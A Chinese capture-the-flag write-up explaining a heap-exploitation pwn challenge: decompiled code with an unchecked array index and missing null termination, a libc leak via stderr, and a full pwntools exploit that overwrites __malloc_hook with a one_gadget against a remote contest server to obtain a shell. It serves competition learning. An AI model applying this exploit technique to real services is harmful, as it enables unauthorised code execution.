-
-
[原创]CTF2019_Q1_拯救单身狗
-
2019-3-10 15:12 2207
-
一血,happy
Analyze
比较显然的两个点:
1
两个edit函数只判断指针是否存在,没有判断输入的int范围:
(为了符合理解,我把one和two rename交换了一下)
unsigned __int64 edit_singledog() { int v1; // [rsp+4h] [rbp-Ch] unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); puts("which?"); v1 = read_int(); if ( one[v1] ) // 数组溢出 { puts("Oh,singledog,changing your name can bring you good luck."); read(0, (void *)one[v1], 0x20uLL); printf("new name: %s", one[v1]); } else { puts("nothing here"); } return __readfsqword(0x28u) ^ v2; }
unsigned __int64 edit_luckydog() { int v1; // [rsp+4h] [rbp-Ch] unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); puts("which?"); v1 = read_int(); if ( two[v1] ) { puts("Oh,luckydog,What is your new name?"); read(0, (void *)(two[v1] + 8LL), 0x18uLL); puts("your partner's new name"); read(0, *(void **)two[v1], 0x20uLL); } else { puts("nothing here"); } return __readfsqword(0x28u) ^ v2; }
2
edit_singledog()不存在\x00截断,导致很容易leak
puts("Oh,singledog,changing your name can bring you good luck."); read(0, (void *)one[v1], 0x20uLL); printf("new name: %s", one[v1]);
注意到标准错误stderr在两个数组上方,可以通过leak IO_FILE的
_IO_read_ptr来leak libc
因为two的结构体:struct{str *partner name; str own name;}
而后只需要在one中构造一个singledog的name为p64(malloc_hook_addr)
在
edit_luckydog()
时就可以利用数组溢出,在edit partner name时即会改写malloc_hook
将其改为one_gadget_addr,在再次create一次便可get shell
还有一点,这里libc版本未知,我是通过首先远程leak出一个
_IO_read_ptr
,而后改变本地libc版本,找到相同末位偏移的libc版本(2.27)
EXP
from pwn import * context.log_level="debug" def create1(name): p.sendlineafter(">>\n","1") p.sendafter("Name:\n",name) def create2(name1,name2): p.sendlineafter(">>\n","2") p.sendafter("Name\n",name1) p.sendafter("name\n",name2) def edit1(index,name): p.sendlineafter(">>\n","3") p.sendlineafter("?\n",str(index)) p.sendafter("luck.\n",name) def edit2(index,name1,name2): p.sendlineafter(">>\n","4") p.sendlineafter("?\n",str(index)) p.sendafter("?\n",name1) p.sendafter("name\n",name2) def fake(): p.sendlineafter(">>\n","5") #p=process("./apwn") p=remote("211.159.175.39",8686) create1("kirin") create1("kirin") create2("kirin","kirin") create2("kirin","kirin") fake() fake() create1("1") edit1(0,"1") p.recvuntil("new name: ") heap_addr=u64(p.recv(6).ljust(8,"\x00"))-0x31 print hex(heap_addr) edit1(-4,"11111111") p.recvuntil("11111111") libc_addr=u64(p.recv(6).ljust(8,"\x00"))-0x3ec703 one_gadget=libc_addr+0x10a38c malloc_hook=libc_addr+0x3ebc30 create1(p64(malloc_hook)) print hex(libc_addr) edit2(-79,"kirin",p64(one_gadget)) #gdb.attach(p) p.sendlineafter(">>\n","1") p.interactive()
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界
最后于 2019-3-16 20:25
被梅零落编辑
,原因:
赞赏
看原图